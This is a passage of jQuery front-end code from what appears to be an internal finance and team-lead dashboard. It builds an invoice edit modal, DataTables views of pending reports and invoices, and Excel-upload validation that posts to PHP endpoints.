                    <form id="invoiceReportDetailsModalPopupForm" data-rowIndex="${currentEditingJsonIndex}">
                        <div class="modal-header d-block">
                            <div class="d-flex w-100 mb-2">
                                <h5 class="modal-title font-weight-bold text-center w-100">Invoices &amp; Reports </h5>
                                <button type="button" class="close" data-dismiss="modal"><span>x</span></button>
                            </div>
                            <div class="d-flex">
                                <table>
                                    <tbody>
                                        <tr><th>EmpName</th><td>: ${currentEditingJson.SITE_ASSIGNED_TO_EMP_NAME}</td></tr>
                                        <tr><th>EmpId</th><td>: <input type="text" class="border-0 bg-white" value="${currentEditingJson.SITE_ASSIGNED_TO_EMPID}" name='empId' readonly/></td></tr> 
                                        <tr><th>SiteId</th><td>: <input type="text" class="border-0 bg-white" value="${currentEditingJson.SITE_ID}" name="siteId" readonly/></td></tr>  
                                    </tbody>
                                </table>
                                <table  class="ml-5">
                                    <tbody>
                                        <tr><th>Site Visited Date</th><td>: <input type="date" class="border-0 bg-white" value="${currentEditingJson.SITE_ASSIGNED_DATE}" name="siteVisitDate" readonly /></td></tr>
                                        <tr><th>Project</th><td>: ${currentEditingJson.PROJECT}</td></tr>
                                        <tr><th>Stage Of Audit</th><td>: ${currentEditingJson.STAGE_OF_AUDIT}</td></tr>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                        <div class="modal-body">
                            <div class="row mb-4">
                                <div class="col-md-6">
                                    <label for="editPopUp_invoiceNo" class="form-label font-weight-bold">Invoice Number:</label>
                                    <div class="d-flex">
                                        <div>
                                            <input type="text" value="${currentEditingJson.INVOICE_NUMBER}" id="editPopUp_invoiceNo" class="form-control" placeholder="Enter Invoice Number" name="invoiceNumber"  ${conditionForReadOnlyInvoice_input(currentEditingJson.INVOICE_NUMBER)} required />
                                            <span class="text-danger ml-1 invoiceRequiredMessage"></span>
                                        </div>
                                        <div class="mr-auto">
                                            ${currentEditingJson.INVOICE_NUMBER ? `` : `<span class="btn btn-theme-type1 ml-3" id="getInvoiceNoDetailsAutoFillBtn">AutoFill</span>`}     
                                            ${currentEditingJson.INVOICE_NUMBER ? `<span class="btn btn-theme-type4-danger bg-danger ml-3" id="changeInvoiceDetailsBtn">Change</span><span class="btn btn-theme-type1 ml-3 d-none" id="getInvoiceNoDetailsAutoFillBtn">AutoFill</span>` : ``} 
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-6 editPopUp_invoiceRemarks_div d-none">
                                    <label for="editPopUp_invoiceRemarks" class="form-label font-weight-bold">Invoice Remarks:</label>
                                    <div class="d-flex">
                                        <div class="w-75">
                                            <textarea type="text" id="editPopUp_invoiceRemarks" class="form-control" placeholder="Enter Invoice Remarks" name="invoiceRemarks">${currentEditingJson.INVOICE_REMARK}</textarea>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <hr>
                            <div class="row">
                                <div class="col-md-4">
                                    <label for="editPopUp_Pno" class="form-label font-weight-bold">P.O Number:</label>
                                    <input type="text" id="editPopupPno" value="${currentEditingJson.PO_NUMBER}" class="form-control" name="poNumber" placeholder="Enter PO Number" readOnly required/>
                                    <span class="text-danger ml-1 d-none poRequiredMessage">Required</span>
                                </div>
                                <div class="col-md-4">
                                    <label for="editPopUp_ReportSubmittedToCustomerOn" class="form-label font-weight-bold">Report Submitted To Customer On:</label>
                                    <input type="date" value="${currentEditingJson.REPORT_SUBMITED_TO_CUSTOMER_ON}" id="editPopUp_ReportSubmittedToCustomerOn" class="form-control" name="reportDate" readOnly required />
                                </div>
                                <div class="col-md-4">
                                    <label for="editPopUp_ReportRemark" class="form-label font-weight-bold">Report Remarks:</label>
                                    <textarea rows="1"  id="editPopUp_ReportRemark" class="form-control" placeholder="Enter Report Remarks" name="reportRemarks" readOnly>${currentEditingJson.REPORT_REMARK}</textarea>
                                </div>
                            </div>
                            <div class="row my-4">
                                <div class="col-md-4">
                                    <label for="editPopUp_invoiceRaisedOn" class="form-label font-weight-bold">Invoice Raised On:</label>
                                    <input type="date" value="${currentEditingJson.INVOICE_RISED_ON}" id="editPopUp_invoiceRaisedOn" class="form-control" name="invoiceRaiseOn" required/>
                                </div>
                                <div class="col-md-4">
                                    <label for="editPopUp_invoiceValue" class="form-label font-weight-bold"> Invoice Value:</label>
                                    <input type="number" value="${currentEditingJson.INVOICE_VALUE}" id="editPopUp_invoiceValue" class="form-control"  min="0" placeholder="Enter Invoice Value" name="invoiceValue" required/>
                                </div>
                                <div class="col-md-4">
                                    <label for="editPopUp_paymentReceivedOn" class="form-label font-weight-bold">Payment Received On:</label>
                                    <input type="date" value="${currentEditingJson.PAYMENT_RECEIVED_ON}" id="editPopUp_paymentReceivedOn" class="form-control"  name="paymentReceivedOn"/>
                                    <span class="text-danger ml-1 d-none paymentDateRequiredMessage">Required</span>
                                </div>
                            </div>
                            <div class="row mb-2">
                                <div class="col-md-4">
                                    <label for="editPopUp_paymentReceivedValue" class="form-label font-weight-bold">Payment Received Value:</label>
                                    <input type="number" value="${currentEditingJson.PAYMENT_RECEIVED_VALUE || 0}" id="editPopUp_paymentReceivedValue" min="0" class="form-control" placeholder="Enter Payment Received Value" name="paymentReceivedValue" required/>
                                </div>
                                <div class="col-md-4">
                                    <label for="editPopUp_paymentRemarks" class="form-label font-weight-bold">Payment Remarks:</label>
                                    <textarea class="form-control" id="editPopUp_paymentRemarks" placeholder="Enter Payment Remarks" name="paymentRemarks">${currentEditingJson.PAYMENT_REMARKS}</textarea>
                                </div>
                                <div class="col-md-4">
                                    <label for="editPopUp_remainingBalance" class="form-label font-weight-bold">Remaining Balance If Any:</label>
                                    <input type="number" value="${currentEditingJson.REMAINING_BALANCE_IF_ANY}" id="editPopUp_remainingBalance" min="0" class="form-control"  placeholder="Enter Remaining Balance" name="remainingBalance" readonly/>
                                </div>
                            </div>
                        </div>
                        <div class="modal-footer">
                            <p class="message mr-auto"></p>
                            <button type="submit" class="btn btn-theme-type1" style="width:16%">Update</button>
                            <button type="button" class="btn btn-theme-type3" data-dismiss="modal" style="width:16%">Close</button>
                        </div>
                    </form>
                </div>`;
    if(USER_DEPARTMENT==FINANCE_DEPARTMENT){
        return finance_modalUi;
    }else{
        return tl_modalUi;
    }
}
//--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
// ------------------------------------------------------Pending Reports submitions----------------------------
$(".pendingReportsDetails .searchByDropDown").on('change', function(){
    let searchByValue=$(this).val();
    $(".pendingReportsDetails .invoiceReportForm").removeClass('d-flex active').addClass('d-none');
    $(".pendingReportsDetails .invoiceReportForm.searchBy"+searchByValue).removeClass('d-none').addClass('d-flex active');
});
$(".pendingReportsDetails .invoiceReportForm select.year").on('change', function(){	
    let selected_financialYear=$(this).val();	
    let optionTags=updateSearchByDate_monthDropDown(selected_financialYear);	
    $(".pendingReportsDetails form.invoiceReportForm.searchByDate select.month").html(optionTags);	
});
$(".pendingReportsDetails form.invoiceReportForm").submit(function(e){
    e.preventDefault();
    let obj=convertValuesToObject($(this).serializeArray());// in main_TL.js or main_Finance.js
    obj.searchBy=$(this).attr('data-reference');
    console.log(obj);
    let postContent=JSON.stringify(obj);
    request_pendingReportSubmitions(postContent, obj);
});
function request_pendingReportSubmitions(postContent, object){
    $(".pendingReportsDetails invoiceReportForm.active .submitBtn").html(`<i class="fas fa-spinner fa-spin"></i>`);
    let clsObj=new Placeholder();
    let colLength=12;
    let placeHolderContent=clsObj.tablePlaceHolder(colLength);
    $("#pendingReportSubmittionDetailsTable tbody").html(placeHolderContent);
    if(!checkWheatherLogoutOrNot_InternetConnection()){
        $(".pendingReportsDetails .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-undo"></i>`);
        $(".placeholder-glow").removeClass('placeholder-glow');
        alertNoInternet_connection();
    }else{
        let responseData=postDataHttpRequest('DashBoard/php/Invoices_Reports/Pending_Reports/getPending_ReportSubmitionDetails.php', postContent);
        responseData.then((result)=>{
            console.log(result);
            PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_MESSAGE=result.message;
            constructPendingReportSubmitionTable(result.responseDataArray);
            $(".pendingReportsDetails .updateAndUploadReportExcelDiv .note .excelType").html(`${object.searchBy}:-<bold class="font-weight-bold ">${object.siteId ? object.siteId: '' + object.monthName ? object.monthName :''} ${object.year ? object.year: ''}</bold>`);
            $(".pendingReportsDetails .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-search"></i>`);
            console.log(result);
        })
        .catch((error)=>{
            $(".pendingReportsDetails .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-undo"></i>`);
            $(".placeholder-glow").removeClass('placeholder-glow');
          console.log(error); 
        });
    }
}

// 
// function constructPendingReportSubmitionTable2(Json){
//     PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_JSON_IN_OBJECT={} // on every time making object empty
//     let tableHeight=(USER_DEPARTMENT==TL_DEPARTMENT) ? 200 : '';
//     let tableBody='';
//     if($.fn.DataTable.isDataTable('#pendingReportSubmittionDetailsTable')){
//         $("#pendingReportSubmittionDetailsTable").DataTable().clear().destroy();
//     }
//     Json.forEach(function(obj, index){
//         let uniqueId=convertToClassNameFormate(obj.SITE_ID+"_"+obj.SITE_ASSIGNED_TO_EMPID+"_"+obj.SITE_ASSIGNED_DATE);
//         PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_JSON_IN_OBJECT[uniqueId]=obj;
//         tableBody+=`
//                 <tr>
//                     <td>${index+1}</td>
//                     <td>${obj.SITE_ID}</td>
//                     <td>${obj.PROJECT}</td>
//                     <td>${obj.STAGE_OF_AUDIT}</td>
//                     <td>${obj.SITE_ASSIGNED_TO_EMPID}</td>
//                     <td>${obj.SITE_ASSIGNED_TO_EMP_NAME}</td>
//                     <td>${obj.SITE_ASSIGNED_DATE}</td>
//                     <td>${obj.MANAGER_NAME}</td>
//                     <td>${obj.MANAGER_ID}</td>
//                     <td>${obj.PO_NUMBER}</td>
//                     <td>${obj.REPORT_SUBMITED_TO_CUSTOMER_ON}</td>
//                     <td>${obj.REPORT_REMARK}</td>
//                 </tr>`;
//     });
//     $("#pendingReportSubmittionDetailsTable tbody").html(tableBody);
//     $("#pendingReportSubmittionDetailsTable").DataTable({
//                                                         dom:'lBfrtip',
//                                                         buttons:[{extend:'excelHtml5',title:"Update Report DetailsTemplate"}],
//                                                         aLengthMenu:[[10,50,100],[10,50,100]],
//                                                         pageLength:10,
//                                                         scrollY:tableHeight,
                                                        
//     });
//     $("#pendingReportSubmittionDetailsTable_wrapper .buttons-excel").addClass("btn-theme-type1").html(`<span>Excel <i class="fa fa-download pl-3"></i></span>`);
// }
function constructPendingReportSubmitionTable(json){
   PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_JSON_IN_OBJECT={}// on every time making object empty
   let tableHeight=(USER_DEPARTMENT == TL_DEPARTMENT) ? 200 : '';
   let tableBody='';
   if($.fn.DataTable.isDataTable('#pendingReportSubmittionDetailsTable')){
       $("#pendingReportSubmittionDetailsTable").DataTable().clear().destroy();
   }
   
   let updateJson=(obj)=>{
       let uniqueId=convertToClassNameFormate(obj.SITE_ID+"_"+obj.SITE_ASSIGNED_TO_EMPID+"_"+obj.SITE_ASSIGNED_DATE);
        PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_JSON_IN_OBJECT[uniqueId]=obj;
   }
   console.log(PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_JSON_IN_OBJECT);
   let tableHeading=[
           {data:"", "title":"S.No",
               render:function(data, type, row, meta){
                        updateJson(row);
                        return meta.row+1;
               }
           },
           {data: "SITE_ID", title:"SiteId"},
           {data: "PROJECT", title:"Project"},
           {data: "STAGE_OF_AUDIT", title: "StageOfAudit"},
           {data: "SITE_ASSIGNED_TO_EMPID", title:"EmpId"},
           {data: "SITE_ASSIGNED_TO_EMP_NAME" , title:"EmpName"},
           {data: "SITE_ASSIGNED_DATE", title:"SiteVisitDate"},
           {data: "MANAGER_NAME",title:"TL Name"},
           {data: "MANAGER_ID",title:"TL Id"},
           {data: "PO_NUMBER", title:"PONo"},
           {data: "REPORT_SUBMITED_TO_CUSTOMER_ON", title:"Report Date(yyyy-mm-dd)"},
           {data: "REPORT_REMARK", title:"Report Remarks",
               render: function(data){
                   return `<textarea rows="1" class="form-control" readonly>${data}</textarea>`
               }
           }
       ];
       
   $("#pendingReportSubmittionDetailsTable").DataTable({
       columns: tableHeading, //table heading
       data:json,             // table body
       dom:'lBfrtip',
       buttons:['copy',{extend:'excelHtml5', title:'Pending Reports'}, 'print'],
       scrollX: true,
       pageLength:10,
       scrollY:tableHeight,
       autoWidth: false
   });
   $("#pendingReportSubmittionDetailsTable_wrapper .buttons-excel").addClass("btn-theme-type1").html(`<span>Excel <i class="fa fa-download pl-3"></i></span>`);

}
$("#uploadPendingReportSubmitionsExportBtn").click(function(){
    let fileInputId="uploadPendingReportSubmitions";
    let headingListArray=['S.No','SiteId','Project','StageOfAudit','EmpId','EmpName','SiteVisitDate','TL Name','TL Id','PONo','Report Date(yyyy-mm-dd)','Report Remarks'];
    let maxRecords=200;
    let promisesObj=getJsonFromUploadExcel(fileInputId, headingListArray, maxRecords);
    promisesObj.then((result)=>{
        generatePendingReportSubmittionTableUiByExcel(result);
    })
    .catch((error)=>{
        
    });
   $(".updateAndUploadReportExcelDiv .submitBtnDiv .validate").show();
   $(".updateAndUploadReportExcelDiv .submitBtnDiv .submit").hide();
   $(".updateAndUploadReportExcelDiv .submitBtnDiv .validatingMsg").empty();
   $(".updateAndUploadReportExcelDiv .submitBtnDiv .viewErrorLocation.btn").addClass("d-none");
});

function generatePendingReportSubmittionTableUiByExcel(excelJson){
    PENDING_REPORTS_SUBMITION_UPLOADED_EXCEL_JSON=excelJson;
    if($.fn.DataTable.isDataTable('#pendingReportUpdatedTableDiv_table')){
        $('#pendingReportUpdatedTableDiv_table').DataTable().clear().destroy();
    }
    let replaceSiteDatekeyFormate=(a, b)=>{
        a.reportDate=a["Report Date(yyyy-mm-dd)"] ? a["Report Date(yyyy-mm-dd)"] : a.reportDate; // adding old value to new value
        b.reportDate=b["Report Date(yyyy-mm-dd)"] ? b["Report Date(yyyy-mm-dd)"] : b.reportDate; // adding old value to new value
        
        delete a["Report Date(yyyy-mm-dd)"];                                                    // deleting old value
        delete b["Report Date(yyyy-mm-dd)"];                                                    // deleting old value
    }
    let resetDuplicateValue=(a,b)=>{
        a.duplicate=false;
        b.duplicate=false;
    }
    let sortBySite_empId_siteVisitDate=()=>{
        excelJson.sort(function(a,b){
            if(a.SiteId && a.EmpId && a.SiteVisitDate){
                replaceSiteDatekeyFormate(a,b);
                resetDuplicateValue(a,b);                                           // on every time duplicate to 
                let comparedSiteId=a.SiteId.localeCompare(b.SiteId);
                let comparedEmpId=a.EmpId.localeCompare(b.EmpId);
                let comparedDate=a.SiteVisitDate.localeCompare(b.SiteVisitDate);
                if(comparedSiteId!=0){
                    return comparedSiteId;
                }else if(comparedEmpId!=0){
                    return comparedEmpId;
                }else{
                    return comparedDate;
                }
            }
        })
    }    
    let onlyOneLineItem=()=>{
        excelJson[0]["reportDate"]=excelJson[0]["Report Date(yyyy-mm-dd)"];
        delete excelJson[0]["Report Date(yyyy-mm-dd)"];
    };
    if(excelJson.length==1){
        onlyOneLineItem();
    }else{
       sortBySite_empId_siteVisitDate();
    }
    
    $(".updateAndUploadReportExcelDiv").addClass("afterUploadExcelTemplate");
    let clsObj=new PendingReportSubmitionTable();
    let tableBody = clsObj.getTableBody(excelJson);
    $("#pendingReportUpdatedTableDiv_table tbody").html(tableBody);
    $("#pendingReportUpdatedTableDiv_table").DataTable({
                                                        dom:'lBfrtip',
                                                        buttons:[{extend:'excelHtml5', title:'invoices and Report'}],
                                                        aLengthMenu:[[10,50,100,-1],[10,50,100,"All"]],
                                                        pageLength:-1,
                                                        stateSave: true,
                                                        autoWidth: false,
                                                        // scrollX: true,
                                                        
    });
   
}
//--------------------on change functionality-------------
$("#pendingReportUpdatedTableDiv_table").on('change', '.reportTd .reportDate', function(){
    let currentReportDateTag=$(this);
    let reportDate=currentReportDateTag.val();
    let refIndex=currentReportDateTag.attr("data-rowindex");
    let errorRefKey=currentReportDateTag.attr("data-errorkey");
    let validDate=validateDateValue(reportDate);
    let removeErrorTag=()=>{
        currentReportDateTag.siblings("span.errorMsgTag").remove();
    }
    let addErrorTag=(errorType)=>{
        let isErrorTagAlreadyExist=currentReportDateTag.next("span.errorMsgTag").length;
        if(!isErrorTagAlreadyExist){
            $(`<span class="errorMsgTag font-weight-bold d-block text-danger text-center">${errorType}</span>`).insertAfter(currentReportDateTag);
        }else{
            currentReportDateTag.siblings("span.errorMsgTag").text(errorType);
        }
    }
    let clearErrorsInBucket=()=>{
        removeErrorFrom_errorBucket(errorRefKey, "Invalid ReportDate");
        removeErrorFrom_errorBucket(errorRefKey, "ReportDate Required"); 
    }
    let updateJson=()=>{
        PENDING_REPORTS_SUBMITION_UPLOADED_EXCEL_JSON[refIndex]["reportDate"]=reportDate;
    }
    
    
    if(reportDate!=''){
        if(validDate){// if valid date then clear all errors
            clearErrorsInBucket();
            removeErrorTag();
        }else{ // invalid
            addErrorTag("Invalid Date");
            addErrorIn_errorBucket(errorRefKey, "Invalid ReportDate");
        }
    }else{// if empty
        addErrorTag("Required");
        addErrorIn_errorBucket(errorRefKey, "ReportDate Required");
    }
    updateJson();
       console.log(PENDING_REPORTS_SUBMITION_UPLOADED_EXCEL_JSON);
    console.log(PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT);
});


$("#pendingReportUpdatedTableDiv_table").on('change', '.reportRemarkTd .reportRemark', function(){
    let currentReportRemarkTag=$(this);
    let reportRemarks=currentReportRemarkTag.val();
    let refIndex=currentReportRemarkTag.attr("data-rowIndex");
    let errorRefKey=currentReportRemarkTag.attr("data-errorkey");
    let removeErrorTag=()=>{
        currentReportRemarkTag.siblings("span.errorMsgTag").remove();
    }
    let updateJson=()=>{
        PENDING_REPORTS_SUBMITION_UPLOADED_EXCEL_JSON[refIndex]["Report Remarks"]=reportRemarks;    
    }
    let clearErrors=()=>{
        removeErrorFrom_errorBucket(errorRefKey, "Report Remark Exceed MaxLength");
    }
    updateJson();
    clearErrors();
    removeErrorTag();
    console.log(PENDING_REPORTS_SUBMITION_UPLOADED_EXCEL_JSON);
    console.log(PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT);
});

$("#pendingReportUpdatedTableDiv_table").on("change", ".poNumberTd .poNumber", function(){
    let currentPoNumberTag=$(this);
    let poNumber=currentPoNumberTag.val();
    let refIndex=currentPoNumberTag.attr("data-rowindex");
    let errorRefKey=currentPoNumberTag.attr("data-errorkey");
    let removeErrorTag=()=>{
        currentPoNumberTag.siblings("span.errorMsgTag").remove();
    }
    let addErrorTag=()=>{
        let isErrorExist=currentPoNumberTag.next("span.errorMsgTag").length;
        if(!isErrorExist){
            $(`<span class="font-weight-bold text-danger errorMsgTag">Required</span>`).insertAfter(currentPoNumberTag);
        }
    }
    let updateJson=()=>{
        PENDING_REPORTS_SUBMITION_UPLOADED_EXCEL_JSON[refIndex]["PONo"]=poNumber;
    }
    let removeErrorFrom_ErrorBucket=()=>{
        removeErrorFrom_errorBucket(errorRefKey, "PONumber Required");
    }
    let addErrorFrom_ErrorBucket=()=>{
        addErrorIn_errorBucket(errorRefKey, "PONumber Required");
    }
    if(!checkInvalidFormate(poNumber)){//if valid
        removeErrorTag();
        removeErrorFrom_ErrorBucket();
    }else{
        addErrorTag();
        addErrorFrom_ErrorBucket();
        
    }
    updateJson();
});

//-----------------------end------------------------------

$(".updateAndUploadReportExcelDiv .submitBtnDiv .validate").click(function(){
    let validateBtn=$(this);
    if(checkErrorBucketIsExistAnyError()){
        $(".submitBtnDiv .validatingMsg").html(`<span class="text-danger font-weight-bold">Fill Required Fields</span>`)
    }else{
        $(".submitBtnDiv .validatingMsg").text('');
        validateBtn.html(`Validate <i class="fas fa-spinner fa-spin ml-1"></i>`);
        let obj={
            reportSubmisionDetails:PENDING_REPORTS_SUBMITION_UPLOADED_EXCEL_JSON
        }
        let postContent=JSON.stringify(obj);
        updatePedingReportDetailsInServer(postContent, validateBtn);
    }
});
function updatePedingReportDetailsInServer(postContent, validateBtn){
    let responseData = postDataHttpRequest('DashBoard/php/Invoices_Reports/Pending_Reports/updatePendingReportSubmition.php', postContent);
    responseData.then((result)=>{
        console.log(result);
        if(!result.error){
            validateBtn.hide();
            $(".updateAndUploadReportExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="font-weight-bold text-success">${result.message}</span>`);
        }else{
             $(".updateAndUploadReportExcelDiv .submitBtnDiv .validatingMsg").html(`<span class="font-weight-bold text-danger">${result.message}</span>`);
        }
        validateBtn.html(`Submit`);
    })
    .catch((error)=>{
         validateBtn.html(`Submit <i class="fas fa-undo"></i>`);
        console.log(error);
    });
}

function checkErrorBucketIsExistAnyError(){
    let isExist=Object.keys(PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT).length;
    if(isExist){
        return true;
    }else{
        return false
    }
}
function removeErrorFrom_errorBucket(errorIndex, errorType){
    let currentEditing_RowErrorBucketArray=PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT[errorIndex];
    let noOfValuesToDelete=1;
    if(currentEditing_RowErrorBucketArray){// is errorArray exisit
        let index=currentEditing_RowErrorBucketArray.indexOf(errorType);
        (index >= 0) ? currentEditing_RowErrorBucketArray.splice(index, noOfValuesToDelete) : ''; // index value -1 if not exit, so avoid unwanted splice    
        (currentEditing_RowErrorBucketArray.length <= 0) ? delete PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT[errorIndex] : '';  // is errorArray empty delete it.
    }

}
function addErrorIn_errorBucket(uniqueId, errorType){
    let clsObj=new PendingReportSubmitionTable();   // in PendingReportSubmitionDetailsExcelDynamicTable.js
    clsObj.updateErrorBucket(uniqueId, errorType);
}
//----------------------------------------------------------------------end------------------------------------------------
// -------------------------------------------------------------Pending Invoice--------------------------------------------------------------------------


// ------------------------------------Reading Table-----------------------
$(".pendingInvoicesReports .searchByDropDown").on('change', function(){
    let searchByValue=$(this).val();
    $(".pendingInvoicesReports .invoiceReportForm").removeClass('d-flex active').addClass('d-none');
    $(".pendingInvoicesReports .invoiceReportForm.searchBy"+searchByValue).removeClass('d-none').addClass('d-flex active');
});
$(".pendingInvoicesReports .invoiceReportForm select.year").on('change', function(){	
    let selected_financialYear=$(this).val();	
    let optionTags=updateSearchByDate_monthDropDown(selected_financialYear);	
    $(".pendingInvoicesReports form.invoiceReportForm.searchByDate select.month").html(optionTags);	
});
$(".pendingInvoicesReports form.invoiceReportForm").submit(function(e){
    e.preventDefault();
    let obj =convertValuesToObject($(this).serializeArray());// in main_TL.js or main_Finance.js
    obj.searchBy=$(this).attr('data-reference');
    let postContent=JSON.stringify(obj);
    // console.log(postContent);
    request_pendingInvoiceReports(postContent, obj);
});

function request_pendingInvoiceReports(postContent, object){
    console.log(object);
    $(".pendingInvoicesReports .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-spinner fa-spin"></i>`);
    let clsObj=new Placeholder();
    let colLength=20;
    let placeHolderContent=clsObj.tablePlaceHolder(colLength);
    $("#pendingInvoiceReportsDetailsTable tbody").html(placeHolderContent);
    if(!checkWheatherLogoutOrNot_InternetConnection()){
        $(".pendingInvoicesReports .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-undo"></i>`);
        $(".placeholder-glow").removeClass('placeholder-glow');
        alertNoInternet_connection();
    }else{
        // postContent
        let responseData= postDataHttpRequest('DashBoard/php/Invoices_Reports/Pending_Invoice/getPending_InvoiceAndReportsDetails.php', postContent);
        responseData.then((result)=>{
            console.log(result);
            if(result.message=="SUCCESS"){
                PENDING_INVOICE_REPORTS_RESPONSE_MESSAGE=result.message;
                constructPendingInvoiceReportTable(result.responseDataArray);
                $(".pendingInvoicesReports .updateAndUploadInvoiceExcelDiv .note .excelType").html(`${object.searchBy}:-<bold class="font-weight-bold ">${object.siteId ? object.siteId: '' + object.monthName ? object.monthName :''} ${object.year ? object.year: ''}</bold>`);
                $(".pendingInvoicesReports .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-search"></i>`);
            }
        })
        .catch((error)=>{
            $(".pendingInvoicesReports .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-undo"></i>`);
            $(".placeholder-glow").removeClass('placeholder-glow');
           console.log(error); 
        })
    }
}

// function constructPendingInvoiceReportTable2(json){
//     let tableHeight=(USER_DEPARTMENT==FINANCE_DEPARTMENT) ? 200 :'';
//     if($.fn.DataTable.isDataTable('#pendingInvoiceReportsDetailsTable')){
//         $('#pendingInvoiceReportsDetailsTable').DataTable().clear().destroy();
//     }
//     let tableUI='';
//     PENDING_INVOICES_REPORTS_RESPONSE_JSON_IN_OBJECT={};// on every time make empty list
//     json.forEach(function(obj, loopIndex){
//         let uniqueId=convertToClassNameFormate(obj.SITE_ID+'_'+obj.SITE_ASSIGNED_TO_EMPID+'_'+obj.SITE_ASSIGNED_DATE);
//         PENDING_INVOICES_REPORTS_RESPONSE_JSON_IN_OBJECT[uniqueId]=json[loopIndex];
//         tableUI+=`<tr class="trIndex${loopIndex}">
//                     <td>${loopIndex+1}</td>
//                     <td>${obj.SITE_ID}</td>
//                     <td>${obj.PROJECT}</td>
//                     <td>${obj.STAGE_OF_AUDIT}</td>
//                     <td>${obj.SITE_ASSIGNED_DATE}</td>
//                     <td>${obj.SITE_ASSIGNED_TO_EMPID}</td>
//                     <td>${obj.SITE_ASSIGNED_TO_EMP_NAME}</td>
//                     <td>${obj.MANAGER_ID}</td>
//                     <td>${obj.MANAGER_NAME}</td>
//                     <td class="poNumberTd border-left">${obj.PO_NUMBER}</td>
//                     <td class="reportDateTd">${obj.REPORT_SUBMITED_TO_CUSTOMER_ON}</td>
//                     <td class="reportRemarkTd"><textarea rows="1" class="form-control" readonly>${obj.REPORT_REMARK}</textarea></td>
//                     <td class="invoiceRisedOnTd">${obj.INVOICE_RISED_ON}</td>
//                     <td class="invoiceNumberTd">${obj.INVOICE_NUMBER}</td>
//                     <td class="invoiceValueTd">${obj.INVOICE_VALUE}</td>
//                     <td class="paymentDateTd">${obj.PAYMENT_RECEIVED_ON}</td>
//                     <td class="paymentValueTd">${obj.PAYMENT_RECEIVED_VALUE}</td>
//                     <td class="paymentRemarkTd"><textarea rows="1" class="form-control" readonly>${obj.PAYMENT_REMARKS}</textarea></td>
//                     <td class="remainingBalanceTd">${obj.REMAINING_BALANCE_IF_ANY}</td>
                    
//                   </tr>`;// <td>${obj.SITE_VISIT_STATUS}</td>
//     });
//     $("#pendingInvoiceReportsDetailsTable tbody").html(tableUI);
//     $("#pendingInvoiceReportsDetailsTable").DataTable({
//                                                         dom:'lBfrtip',
//                                                         buttons:[{extend:'excelHtml5', title:'invoices and Report'}],
//                                                         aLengthMenu:[[10,50,100],[10,50,100]],
//                                                         pageLength:10,
//                                                         stateSave: true,
//                                                         autoWidth: false,
//                                                         scrollX: true,
//                                                         scrollY: tableHeight
                                                        
//     });
//     $("#pendingInvoiceReportsDetailsTable_wrapper .buttons-excel").addClass('btn btn-theme-type1').html(`<span>Excel <i class="fa fa-download pl-3"></i></span>`);
//     // console.log(PENDING_INVOICES_REPORTS_RESPONSE_JSON_IN_OBJECT);
// }

function constructPendingInvoiceReportTable(json){
    console.log(json);
    PENDING_INVOICES_REPORTS_RESPONSE_JSON_IN_OBJECT={};// on every time make empty list
    let tableHeight=(USER_DEPARTMENT==FINANCE_DEPARTMENT) ? 200 :'';
    if($.fn.DataTable.isDataTable('#pendingInvoiceReportsDetailsTable')){
        $('#pendingInvoiceReportsDetailsTable').DataTable().clear().destroy();
    }
    let updateGlobalObject=(obj)=>{
        let uniqueId=convertToClassNameFormate(obj.SITE_ID+'_'+obj.SITE_ASSIGNED_TO_EMPID+'_'+obj.SITE_ASSIGNED_DATE);
        PENDING_INVOICES_REPORTS_RESPONSE_JSON_IN_OBJECT[uniqueId]=obj;
    }
    let tableHeading=[
        {data:'', title:"S.No",
            render:function(data, type, row, meta){
                    updateGlobalObject(row);
                    return meta.row+1;
            }
        },
        {data:"SITE_ID",title:"SiteId"},
        {data:"PROJECT", title:"Project"},
        {data:"STAGE_OF_AUDIT", title:"StageOf Audit"},
        {data:"SITE_ASSIGNED_DATE", title:"SiteVisit Date"},
        {data:"SITE_ASSIGNED_TO_EMPID", title:"EmpId"},
        {data:"SITE_ASSIGNED_TO_EMP_NAME", title:"EmpName"},
        {data:"MANAGER_ID", title:"TL Id"},
        {data:"MANAGER_NAME", title:"TL Name"},
        {data:"PO_NUMBER", title:"PONo"},
        {data:"REPORT_SUBMITED_TO_CUSTOMER_ON", title:"Report Date(yyyy-mm-dd)"},
        {data:"REPORT_REMARK", title:"Report Remarks",
            render: function(data, type){
                return `<textarea rows="1" class="form-control" readonly>${data}</textarea>`
            }
        },
        {data:"INVOICE_RISED_ON", title:"Invoice Date(yyyy-mm-dd)"},
        {data:"INVOICE_NUMBER", title:"InVoiceNo" },
        {data:"INVOICE_VALUE", title:"Invoice Value"},
        {data:"PAYMENT_RECEIVED_ON", title:"Payment Date(yyyy-mm-dd)"},
        {data:"PAYMENT_RECEIVED_VALUE", title:"Payment Value"},
        {data:"PAYMENT_REMARKS", title:"Payment Remarks",
            render: function(data, type){
                return `<textarea rows="1" class="form-control" readonly>${data}</textarea>`
            }
        },
        {data:"REMAINING_BALANCE_IF_ANY", title:"Balance"}
    ];
    $("#pendingInvoiceReportsDetailsTable").DataTable({
        columns:tableHeading,
        data:json,
        dom:'lBfrtip',
        buttons:[{extend:'excelHtml5', title:'invoices and Report'}],
        columnDefs: [
            {className: "border-left", targets: 9 },
        ],
        stateSave: true,
        autoWidth: false,
        scrollX: true,
        scrollY: tableHeight
    });
